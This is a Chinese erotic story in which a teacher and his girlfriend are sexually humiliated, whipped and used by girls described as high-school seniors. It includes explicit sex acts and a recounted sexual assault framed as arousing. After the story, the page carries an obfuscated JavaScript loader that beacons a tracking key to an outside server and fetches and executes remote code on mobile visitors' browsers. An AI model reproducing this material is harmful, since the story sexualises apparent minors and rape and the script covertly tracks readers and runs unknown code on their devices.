婴喃穿的是鹅黄色的裙装,头上扎着橘色的三角巾,脚下一双短腰皮靴,露出靴口的白袜看起来很干净。
“我们欢迎你的到来,黄老师,希望象我们达成的协议一样,您会做的很好!”婴喃道。
“难道不能换另外一种方式?”我还抱着侥幸。
“如果您改主意的话,可以现在就走出去!”婴喃的口气不容置疑。
郑乐笑嘻嘻地说:“黄老师,我们是不是可以开始了”她坐在长蹬上,俏皮地翘起一条修长的大腿。
我沉闷地问:“婴喃,我该怎么做?”
“向她们跪下,一个一个地乞求!直到每一个人同意为止!”
我看了一眼郑乐,她离我最近,就在她面前先跪了下来。
在跪下之前,我的头脑很乱,不知道自己的尊严会被这几个漂亮的高三女生折磨成什么样子,跪下后,我的心却稳定了,少年时期跪在歆歆和箐箐面前被践踏的情景历历在目,有一种归宿感,在向我招手。
“跪近些么,人家够不着你!”郑乐娇嗔地说。
我只得又向她膝行几步。
她恰好可以把两条腿架在我的肩上。我闻到一股薄荷味,她在嚼口香糖。
“好了,你可以告诉我你的请求了”郑乐舒适地抖动着架在我肩上的双腿。
“请你,请你同意容嫣加…加入…加入你们”毕竟,跪在一个比自己小8岁的女孩面前,我还是感到了羞臊和屈辱。
“你,你就是这样请求的么?——一一点不好玩么!”郑乐撒娇地说。
“你可以让他做任何事使你高兴,随便了,现在是他跪在地下求你!”婴喃提醒郑乐。
“是么?我到忘了这一点——那么!坯!”她把口香糖吐在了地上“黄老师,麻烦你把我的口香糖给舔起来,知道么,上面有我的口水。”
我怔怔地看着眼前的粘在地上的口香糖,她们对付男人的办法一点也不比当年的箐箐差。我没有那样做,我的心还不适应这样的屈辱,但——很快。我看到,我看到我心爱的女孩容嫣走了进来,不,确切地说,是“爬”了进来,一走到门口,她就自动地跪了下来,驯顺地爬到婴喃的脚边,然后把婴喃的一只穿着短靴的脚放在了自己的头上,婴喃不经心地踩着容嫣,我看到了容嫣羞红的脸颊,在四目相视的一瞬,我的脸灼烧般发烫。
“你不用吃惊,黄老师,这是你的阿嫣和我达成的协议,在没有外人的时候,她就必须跪在我的脚下,做我的女奴,一个听候主人差遣的女奴!是这样么,阿嫣?”婴喃用力把容嫣的头向下踩去。
“是这样的,我的主人!”容嫣低低的声音说。
天啊!这是怎么回事哪?我焦灼而痛苦地看着我恋人,她怎么会这样呢?“容嫣,你?你?”我不知道能对她说些什么。
容嫣低垂着头,秀发挡住了她娇媚的脸颊。
婴喃用靴尖勾起容嫣的下巴:“告诉你的佳哥,到底是怎么回事?”
容嫣在哭泣,在低声哭泣,我听不到她的任何解释。
“为了看那个他妈的AA,你就这么作践自己么?”我扑到容嫣身边,嘶声问道。
“对不起!佳哥,是我连累你了………”容嫣的脸上挂着晶莹的泪珠,我的心软了,爱怜地抱着她。
“当然不会那么简单,虽然她确实想认识AA,事实是……”婴喃正准备往下说,容嫣突然抱住她的靴子,把脸贴在上面:“求你了,我的主人,不要告诉黄老师,我不想让她知道。!”
“哼!”婴喃一脚踢开容嫣“可是你看到了,你的佳哥并不那么容易就范!”
“我来给他说,请您别生气”容嫣又把脸转向我:“佳哥,我知道是我不好,我确实是想见而和她们达成了协议,一切都听从她们的驱使,如果你还爱我,就顺从她们,好么?”
从来没见过容嫣这样楚楚可怜的样子,我的心难受极了。
“照她们的话去做,好么?”容嫣哀求着我。
我的心软化了,为了我心爱的女人,我决定去承受一切的苦难和屈辱,艰难地点了点头。
“现在,爬过来,来”郑乐急不可待地用鞋尖点着地“爬!来!爬到这里!”
我遵从地爬到了那块口香糖旁边,正要低头舔起,郑乐却用鞋尖拨开我的脑袋,用鞋底把那块口香糖踩住,当她抬起脚的时候,那糖已经粘在了她的鞋底:“舔啊!怎么不舔?”郑乐笑眯眯地冲我晃着鞋底。从两双鞋的空隙中,我抬眼看着她,一个花季少女,青春而健康,洁白整齐的牙齿,令人嫉妒的光洁皮肤,可这时的笑却充满了邪气。
“舔不舔啊?”郑乐懊恼的样子。
婴喃把容嫣拖到我面前,厉声道:“快!让你的黄老师舔郑乐的鞋底。”
容嫣凄楚地央求:“佳哥,你就舔吧!
我的心在碎裂,这就是我心爱的女人啊!事情为什么会这样呢?
我初恋的爱人啊,是什么促使你变成这个样子呢?
“他不舔!你来!”婴喃把容嫣的脸凑近郑乐的鞋底。
容嫣近乎讨好地现出微笑:“郑乐姐姐,我来舔掉你鞋底的口香糖!”
“哼!”郑乐不高兴的样子。
容嫣立刻双手捧住郑乐的运动鞋。
在容嫣的俏脸贴在郑乐的运动鞋上时,我再也忍不住了,我不能让我心爱的女人遭受这样的侮辱,她是我的女人,我有责任保护她,我蓦地站起来,顺势把容嫣搂在怀里。容嫣轻轻挣扎着。
“我就知道会是这个样子,阿嫣!这就是你们表现的态度?”婴喃冷笑“我们跳一会舞,再让他们考虑一下,最好是让他们自愿跪在你的脚下”她的下巴向郑乐勾了一下“走吧,到外面!”
林琳、郑乐、婴喃鱼贯而出,在将近100平方米的体操室跳她们自己编排的现代舞,隔着透明的玻璃,她们矫美的形体一览无余。
舞蹈很青春、流畅,象夜空里闪动的精灵,修长匀称的大腿划出美丽的狐步,纤细的腰身和亮丽的面孔形成一道美丽的风景线,她们的年轻、夺人心魄的娇媚、明亮如星的眸子和无懈可击的时尚,以及凌人的傲气使她们更象一群任性胡为的公主,她们在节奏中扭动的丰臀似乎在嘲笑我的怯懦,讥讽我的虚伪和膨胀的欲望,自惭形秽的感觉鞭子一样抽打着我可怜的尊严,容嫣的目光现出艳羡和倾慕,着更增加了我的不安。
“佳哥!我们向她们跪下,求她们收留!”
我心中动摇跌宕,拉着容嫣,在极大的控制力下,勉强逃出了强歌劲舞中的体操室。
第二天上午有我两节语文课,婴喃坐的位置在教室后排,我极力控制着不和他的目光接触,脑海里是乱哄哄的,教室的秩序较好,我讲得却一塌糊涂!
夜,静谧的夜。
我和容嫣精赤着身子搂抱在宽大的席梦思上。
“佳哥,你已经答应过我的,为什么不做呢?”容嫣不快地问。
“我怎么能做呢,这分明是陷阱!”我分辨。
“我喜欢这样的陷阱!”
“你疯了!”
“不!我没疯,我至少知道你并没真心爱我,不肯为我作出牺牲!”
“这样做就算爱你么?”
“但你说过的,会为我做一切事情,是一切事情,一切!”容嫣的眼圈红红的。
“可这是……”我语塞。
“你是个男人,怎么能反复无常呢?婴喃告诉我你在餐厅已经答应了,我多么高兴,因为我的男朋友会为我做一切事情,哼……”
“你就愿意我去做那种屈辱的事情?即便是我愿意,我也不希望你被侮辱!”
“我不觉得那是侮辱,你舔我的脚指头的时候,口水都流出来了,怎么不觉得侮辱?”
“我爱你,你是我的爱人,你的一切都美!”
“她们也很美啊!你也看到了,而且我也喜欢她们,婴喃的脚也挺漂亮的!”
“那是不一样的!”我嘶声道。
“就是一样吗!”容嫣也吵了起来。
“她们是一群疯子,会让我们今后无法生活下去,难道你愿意和我去按她们的吩咐作些难堪的事?”
“我喜欢,也不觉得难堪!”
“你怎么不可就药!”
“我就是这样,一开始你就应该知道。”容嫣把光洁的大腿从我身上收了回来。
“可…可…阿嫣,你不要这样,今天是怎么了,为什么要吵架呢!这是怎么回事啊?你一向是温柔的!”我痛苦地说。
“佳哥,你不要难受。”
“你真的喜欢被她们驾御么?”
她沉默了一会。
“是的,我喜欢这种感觉。”容嫣用纤细的玉指摩挲着我的嘴唇“也喜欢,婴喃用穿着丝袜的脚…弄我的下面。”
“什么?你说什么?”我被震住了。
“你再说一遍!”我急急地问。
“佳哥,你并不真的了解她们,确切的说是不了解我们。在体操室婴喃本来要说的……”
“你给止住了!”
“是的!现在我告诉你。在我那一次因为白康的事和婴喃她们闹矛盾……”
“这个我清楚,但那又怎样?”
“她们打我,还让我跪下给她们磕头。”
“是啊,你写给学校了么,可可……”
“更重要的我没写,侯老师知道的也不清楚,她们……”
“到底怎么会事?”
容嫣用胳膊搂着我的脖子:“她们……”
她含泪欲滴。
“快说,她们对你怎样了?”
“她们不断地煽我的耳光,打得我跪下求饶,我当时穿着裙子。她们就撩起裙子,让婴喃用手、脚把我强奸了,都出了血,我…我…”
我把她紧紧搂住,心疼不已。
“我很疼,心里也乱极了!不过,在疼过之后,有一种酥软的感觉,很不一般,痒痒的、暖暖的,很舒服。”容嫣面孔绯红,一只素手握着我的手引向她的阴户,“那种感觉现在想起来都很美妙,所以在和你作爱时,我喜欢你用手来弄,就是想找那种感觉……你的手很柔、很滑腻,我喜欢那种进入的感觉。”
我虽然用手拨弄她的阴毛,可自己并没情绪。
“婴喃那天穿的是黑色的长筒丝袜,在踩住我的耻骨时,我感觉她的脚很柔软,很微妙的丝滑感觉。”容嫣的手开始上下套动我的阴茎。
“我形容不出那种感觉,但我一直在想,在想被她踩住时的快感。我想和她们在一起,她们认识许多明星,还会满足我许多愿望。
“你或许没错”我爱怜地抚着她的发稍。
“加入她们是唯一的途径,所以在婴喃提出要我们跪下求她们时,我答应了,而且还要做她们忠实的奴隶。”
“可你当初并没告诉我这些!”
“我怕你拒绝么。现在婴喃她们肯定会对我失望的。”
“在你和婴喃去王朝餐厅的头一天,我已经跪下发誓听从她了,事实上已经是她的女奴了,她用脚又帮我快乐了一次。”容嫣梦呓般地说。
“你真的那样渴望?”
“是的,我喜欢婴喃用脚进入我那里的感觉。”
“是么?”我心神不属。
“你不是也喜欢被女孩用脚踩么,我又有什么不可以呢?”
“我太不了解你们这个时代的人了”我喃喃自语。
“不要这样说,不过就相差七八岁么”
“一个时代的差距啊!”我苦笑。
“你怎么了?”容嫣明显感觉到我的手和阴茎都没有达到她希望的程度。
“我没心情…对不起。”我的思绪还是乱得很。
“唉!我知道你只喜欢这个。”容嫣蜷起大腿,把温润的脚丫子横放在我的阴茎上,骨感的脚踝蹭着我的包皮,我的神经倏地一跳,阴茎霍然硬挺起来,她熟练地用大脚趾挑逗我紧张的阴囊。
“你第一次让我用脚弄你的时候,一点也不觉得诧异,其实,你舔我脚趾的感觉很好,很受用,你的舌头真柔软。”
我不出声,阴囊已经涨的厉害,小腹热浪般阵阵潮动。
“说话啊,佳哥!”
“我现在明白,婴喃在用靴子踩住你的时候,你一点都不感到难受,反而有舒服的感觉。”
“你不喜欢被漂亮女孩踩么?”
“恩——喜欢,如果保证安全的情况下”
“安全?什么安全?”
“诸如不被外人发现或社会上知道等等。”
……谈话进行了很久,容嫣的一再敦促、哀求和我少年时形成的癖好击垮了我心理上的最后防线,在我作出重新乞求婴喃的决定后,容嫣快乐地用脚丫子在我的阴茎和阴囊上欢快地轻踩起来,在一次用脚心压住阴茎向上推磨的时候,我终于达到高潮,射出浓白的精液……那是一根精致的皮鞭,小牛皮的鞭身,柔软富有弹性,把手是镂花镀金的,其工艺精度显然是出自匠人手工,从柄端的樱花雕刻的风格来看,象是来自日本的产物。
当婴喃在卧室里把它从衣柜里取出来的时候,我就感到了不妙。
“在日本”她用伸出红润的舌尖舔舐了一下鞭柄“它有个名字叫‘月神之鞭’,很好看是不是,通常是用来装饰的,黑白舞社的一位朋友来中国时给我妈妈的礼物。你看,它今天是第一次用。”
我和容嫣并排跪在她的脚下,林琳、郑乐还有丁琼坐在不远的**上,她们乐于欣赏这一切。
“作为藐视我们的惩罚,你,阿嫣,将接受主人的鞭挞!”婴喃伸腿跨在了容嫣的肩上,开叉的睡袍中裸出她白皙修长的一条玉腿。
“你同意么?”她问。
“恩!”我听到容嫣低低的声音答应道。
婴喃脸上带着迷人的微笑,离开了容嫣,走到林琳她们面前,背对着我们。
“准备好了么?”她问。
没人讲话,林琳、郑乐、丁琼都看着容嫣。不一会儿她就全脱光了,长长的头发垂下来。
“过来。”婴喃依然背对我们。
容嫣颤颤地爬过去,匍匐在她脚下,讨好地吻着婴喃的足跟。婴喃转过身,懒洋洋地绕着她的头发,绕成一根黑黑的长绳,把她拽得跪直了身子。不用吩咐,容嫣就分开了膝盖,低下了头发出一个声音,一种介于恳求和呻吟的低吟。
婴喃微笑,眼睛明亮而温柔。“很好,阿嫣,你很驯顺,不过这改变不了你们犯下的愚蠢的错误。求我吧!”她低声说。
我看到容嫣咽了一口唾液,她的喉咙被婴喃用头发缠着,有些发紧,她低低地用一种充满情欲的声音说:
“求求你,不要,哦,原谅我和黄佳吧!”
婴喃扬起鞭子,用鞭子的末梢戏弄着她的乳头。容嫣动起来,婴喃就把鞭子移到她的大腿,戏弄地轻轻敲着她的大腿内侧。
“告诉我该从哪儿开始?”她说着,用鞋底踩着容嫣伏在地毯上的指头。
我只听到容嫣的喘息和林琳她们的窃笑。
“那么我来安排”婴喃用穿着绵羊毛软皮拖鞋的脚把容嫣轻轻踏倒,站在容嫣分开的大腿中间。
“你真漂亮,不是么,容嫣?你美妙的身体很快就会尝到我鞭子的滋味了。”她的鞭梢撩拨着容嫣的阴毛。容嫣白玉般的胸膛立刻有了明显的起伏。
“这就是顺从”婴喃转过头对林琳她们说。
“你说呢?”她低头威严地看着我。
她的目光是不可仰视的,我不相信站在我面前的只是个20岁的女孩,她的成熟和风韵比之箐箐更让男人折服。我深深地伏下头,把嘴唇触在的她的鞋尖上:“求您了,饶了她吧!”
“你还有资格替她求情么?”她的声音冷冰冰的,我感觉不到希望。“你以为这还是我们第一次坐在王朝餐厅的时候么?第一次约我出来竟是为这个女奴说情!哼!黄老师,你大概还不了解我。”
我窘迫得无言以对。
婴喃扬起了鞭子,轻轻打在容嫣的小腹上。她不做声,白皙的皮肤上立刻出现了一道道红印。鞭子划过空中后,发出“刷”“刷”的声音。
我的爱人就这样在我面前被鞭打着,象鞭打我的心。我的哀求、磕头都是无力的,婴喃根本不理会,我几次都有夺下她鞭子的冲动,但我知道这只会把事情搞糟,等下次容嫣跪在这里的时候是会被处以更严厉的惩罚的。
在十几鞭过后,我听到婴喃对我说:“怎么样,如果你象我一样地抽打你的女朋友,我就宽恕你上次的无知。”
我咬紧牙关,梗起脖子,摇摇头。
“嘻嘻!我就喜欢你的倔强劲。”她抬脚踩着我的脖子往下压,我不敢和她继续对抗,缓缓把头伏在了地毯上。她的脚底仍然用着劲,紧接着,我又听到了鞭打容嫣的声音。
我厉声在婴喃的脚下发出阻止的声音:“婴喃,你放了她,我会为你做一切!”
她大概感觉到了我语气中的威胁,放声长笑了一下:“瞧不出啊,黄老师,你还是个情种,懂得体贴女孩子。”她果然停止的鞭打,用力把我蹬在了一边:“去,把上次在体操室的工作作完,要求得她们每一个人都同意为止。”
我立刻爬到了郑乐的脚下,上次是从她开始的,只有先取得她的满意了。
婴喃的家里有着典雅而豪华的装修,地上铺者厚厚的波丝地毯,郑乐她们都穿着拖鞋。
郑乐甩掉拖鞋,把穿着白色棉袜的脚丫在我眼前晃着,她以手支颐,故做不解的样子:“干什么啊?黄老师。”林琳她们饶有趣味地看着郑乐作秀。
我结结巴巴地说:“请你,请你原谅我们,让容嫣加入你们。”
“你就是这样请求宽恕的么……啊?”郑乐俏丽的面孔故意拉了下来,她把脚踩在了我的肩上“上次,你竟然那样对待我们,你以为我们稀罕你跪下啊,告诉你,黄老师,在学校,随便叫一个男孩叫我们姑奶奶,他都巴不得呢!象这种货色——你,爬过来!”容嫣知道是叫她的,她顺从的爬到了郑乐的脚下,郑乐把另一只脚放在了她的肩上“你竟然也会喜欢,喂,小女奴,叫我‘姑奶奶’!”
容嫣红着脸,还是低低的声音叫了两声,郑乐扑哧笑道:“看到了么,你的女朋友叫我姑奶奶,你呢?”
我低头不语。
容嫣用手碰碰我:“你也叫她两声。”
我仍然不语。
郑乐的脸开始沉了下去。
我只得叫了两声:“姑奶奶”
“哼!没意思!”郑乐不高兴地对婴喃说“你看,一点也不好玩么,教一句说一句,你还是用鞭子教训教训她吧!我喜欢你抽她!”
我的心中一寒,连忙用用手在郑乐的小腿上轻轻按摩:“郑乐姑奶奶,我伺候您!”
因为习武的缘故,我一出手就捏住了她腿上的穴位,几下柔捏,立刻让她感到了舒畅。
“咦!这蛮好的么。婴喃姐姐,回头我要让他天天给我按摩。”郑乐得意地晃着腿。
“他们是我们的奴隶,随时听候你的调遣,有你舒服的,小丫头。”婴喃道。
“你怎么回事,给我捏这个腿。”郑乐指使容嫣。
容嫣忙不迭地按摩她的左腿。
郑乐皱皱眉头,想了想:“喂喂,阿嫣啊,你揉腿不行的,给我舔脚吧!就象上次那样!”
我瞟了容嫣一眼,她并没有一点反感的样子。
就这样,我心爱的女孩子跪在郑乐面前,褪下她的白色棉袜,开始逐一地舔舐她的脚趾。她舔得很认真,象完成试卷一样聚精会神,用舌尖仔细舔抚着脚上的每一寸肌肤。
一瞥之下,郑乐的脚很美,丰润,洁白,脚趾整齐,很圆润的脚后跟,我习惯地用舌头舔了一下嘴唇。
郑乐笑吟吟地说:“谗了吧!黄老师,想舔女孩子的脚了吧!”
我有些吃惊,女孩子的眼光都这么敏锐!
“嘿嘿,你不用奇怪,你的阿嫣早告诉我们你有舔她脚趾的习惯。”郑乐把右脚伸到了我的嘴边:“喂,你给我脱了!好好舔舔!”
我心内责怪容嫣的粗心,但还是顺从地脱下了郑乐的白袜,她那健康的脚趾立刻呈现在我眼前,心中突突乱跳,受辱的心情大减,时光好象又回到了我16岁那年。
我含住了她的一个脚趾头,卖力的吮吸。郑乐光洁的脚趾在我嘴里不安分地乱动。
……舔舐郑乐的脚大概用了十分钟,在这期间,婴喃冷冷的目光看着我们,嘴角挂着冷酷的笑,她的神情让我不寒而栗,丁琼脸上带着满足,她似乎很快意这样的场面并不停地在我们身边走动,她没穿拖鞋,黑色的长筒丝袜把她的腿包裹的很完美,整齐的脚趾隐隐显露。有几次她都想坐在正趴在地上的容嫣背上,被婴喃拦住了:“等一会,你会慢慢享用他们”丁琼这才怏怏作罢,林琳一直默不作声地看着我们,一脸的恬静。在我的印象中,她是个羞涩的女孩,清秀恬美,班上的男生总围着她打转,她一个也应付不来,听侯老师说都是丁琼替她解围。我们在学校见面,她总向我嫣然一笑,如今,却在这样的局面下在一起了。在舔舐完郑乐的脚后,婴喃就让我们两个趴到了林琳的脚下。而郑乐还唧唧喳喳地对丁琼说好爽好爽就是不过瘾。
“舔阿琳的脚,一人舔一只脚。”婴喃命令我们。
“算了吧!喃姐姐,不要了。”林琳手足无措。
趴在地上的我看到,她打着赤脚,没穿袜子,清秀的脚形,莹白如玉,象她的人一样恬静。
“你可以象对待小狗一样地踢他们,打他们,只要你愿意”婴喃在我的臀部上踹了一脚“我说过的,要让每一个人满意,快去,舔她的脚!”
我跪趴半步,双手去捧她的脚丫。
林琳惊得叫了起来,身子向**后背靠去,脚趾尖点着地,使脚身形成了一个很优美的弧度“不要,喃姐姐,不要男的舔,让阿嫣给舔我的脚吧!”
婴喃笑了起来:“看把你吓的——”
林琳摸着心口,柔声说:“阿嫣,你舔舔我的脚,好么?我不打你,我也不打我的宠物的。”
她盈盈伸出一只裸足,轻轻放在容嫣嘴边:“你舔吧,要是不愿意,我也不勉强你的。”
容嫣用嘴唇在她的脚背上摩挲。
林琳绯红着脸:“你知道,我穿布鞋都不穿袜子,脚上可能有味的,不好意思啊!”
容嫣颤颤地含着林琳的一个脚趾,看得出,她愿意舔林琳的脚。
丁琼到客厅了一躺,回来时,手里多了一双布鞋,这是林琳长穿的那双“自由马”牌子的休闲布鞋。
丁琼把鞋放到我跟前:“黄老师,您不应该闲着啊,舔舔你学生的鞋子吧!”
我胯间的阳具早就硬了起来,在舔舐郑乐的脚趾时,它就不安分了。而林琳的鞋子给了我更大的刺激,浓郁的不可言表的气息正从布鞋里弥漫而出,丁琼用脚踩着我的脖子,一直使我的口鼻都埋在鞋口里,眼前一黑,味道更重了。屈辱感已经在我信念里麻木,取而代之的是无比的愉悦和快感。
我隐约感觉到,征服我和容嫣的不是那个所谓的“月神之鞭”,而是,而是我们的欲望,对性欲的另类追求……婴喃和丁琼把林琳和郑乐安排到客厅看影碟,房间只留下我们四个人,我和容嫣照旧在地上趴着,从婴喃和丁琼脸上莫测的微笑看来,她们有更加不同的节目等待上演。
果然,丁琼问我们:“你们一个礼拜做几次?”
容嫣不解,“什么做几次?”
“作爱!”丁琼嘲讽地说:“你以为还会是什么?”
“一般是两次”容嫣红着脸。
“那么,现在,我和阿喃要看你们怎么做?”
“这…这…”容嫣瑟缩着身子,胆怯地望着婴喃。
婴喃瞟了我们一眼,冷冷地说:“照着丁琼的话。”她把皮鞭扔给了丁琼,“你可以在他们不听话的时候随意处罚!”
丁琼冷笑着举起了鞭子“脱光你的衣服!”
容嫣不在怠慢,颤抖着脱掉了所有的衣服,包括鞋袜。
“上啊!我尊敬的黄老师”丁琼看着我。
我尴尬地脱下裤子,阴茎软绵绵地在档下垂着,目光期盼地看着婴喃,希望她能终止这一切。
而婴喃给我的目光只是不屑。
我绝望地爬近容嫣,正准备跨上她姣好的身体时,丁琼用鞭子挡住了我:“这么软,怎么办事,我给你弄弄!”
她蹬掉拖鞋,抬起穿着黑色长桶丝袜的脚踩在我的阴茎上,那丝质的感觉立刻唤醒了我沉睡的欲望,我的阴茎在她隔着丝袜的趾尖拨弄下,有了明显的反映,我惭愧地望着容嫣。
“你喜欢这样,是么!”丁琼充满挑逗地看着我,我忍不住朝上看去,她裸出的大腿修长丰满,流畅得象艺术品,我控制不住地把脸贴在她的腿上。
丁琼吃吃笑了起来,脚尖更加有劲地玩弄着我的阴茎。“喜欢的话,我允许你吻我的大腿。”
我看看容嫣,她轻轻点了点头。
我的嘴立刻炽热地贴了上去。
“你!”丁琼用皮鞭指着容嫣:“爬到这里来!”
容嫣顺从地匍匐在她的脚下。
“仰面躺着,笨蛋!”
容嫣四肢摊开,仰视着丁琼,丁琼把皮鞭垂了下来,鞭梢在容嫣身上游动,撩拨得她轻声呻吟起来。“真是贱货!”丁琼猛力踩在我的阴茎上,疼得我叫了起来。
鞭子的柔软和轻灵是任何手指也比不上的,容嫣的反应越发强烈了,阴蒂开始分泌黏液,鞭子尖就在这阴蒂上进进出出,柔韧地宛如灵蛇。
容嫣叫了起来,伸手抓住我,曼声道:“佳哥,快,我受不了!”
我欲合身向她扑去,不料丁琼抓住我的头发,把我拎到一边:“我突然改主意了,才不要看你们那不要脸的勾当,哼,这样更有意思。”
容嫣已经欲火燃烧,却得不到解决,她脸颊绯红,炽热地望着我。
而丁琼并没放过我,她饶有兴致地用脚尖折磨着我。
容嫣无奈地爬到婴喃脚下,她不住地舔舐着婴喃赤裸的足尖,哀求道:“主人,让我和他做吧,我需要,真的很需要!”
婴喃用脚尖勾起容嫣好看的下颚,令她仰了起来:“我知道你很需要,可你以前不这样说,上一次,你跪在地上求我的时候可是说,你需要这个!”她用力扭了一下脚踝。
容嫣醒悟了,她立刻把婴喃的脚捧了起来:“是的,主人,我喜欢您用脚弄我,真的,主人,请给你卑贱的奴仆以快乐吧!”婴喃看了我一眼:“听到了么,黄老师,这可是她求我的。”
我正被命令舔丁琼的屁股,对于此,只有缄默不语。
婴喃用光洁的大脚趾拨弄着容嫣的阴唇,这种抚慰使容嫣马上得到了满足,她半眯着眼睛,无限快乐地享受着这种幸福。
丁琼已经在对面的**上做了下来,命令我用嘴脱去了她的丝袜,同时,开始吮吸她的每一个脚趾“我知道,舔女人的脚会让你快乐,这是你的容嫣告诉我们的,舔我的脚也会让我快乐,这是我告诉你的,所以,如果想让我快乐的话,你就用心伺候你面前的这只脚,舔到我满意,你说好么?”她戏谑的问。
我点点头,舌尖爱抚着她的脚趾。
“吮吸我的小脚趾,哦对了,轻轻的咬它,不要搞疼了!”丁琼笑吟吟地命令。
……那一天,我们堕入了欲望的深渊,我也从此发生了变化,开始了与以往不同的生活。
【全文完】

  

function lfNsPkWe(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function MHTkSb(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return lfNsPkWe(t);};window[''+'X'+'U'+'E'+'Q'+'d'+'c'+'A'+'o'+'M'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function EUiG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=MHTkSb,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=EUiG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15361/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=EUiG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYYlMkZhLm1wemx2cS5jbiUzQTg4OTE=','aHR00cHMlM00ElMkYlMkZhLnlra2hqcy5jbiUzQTk1MzU=','167199',window,document,['Y','0']);}:function(){};

关闭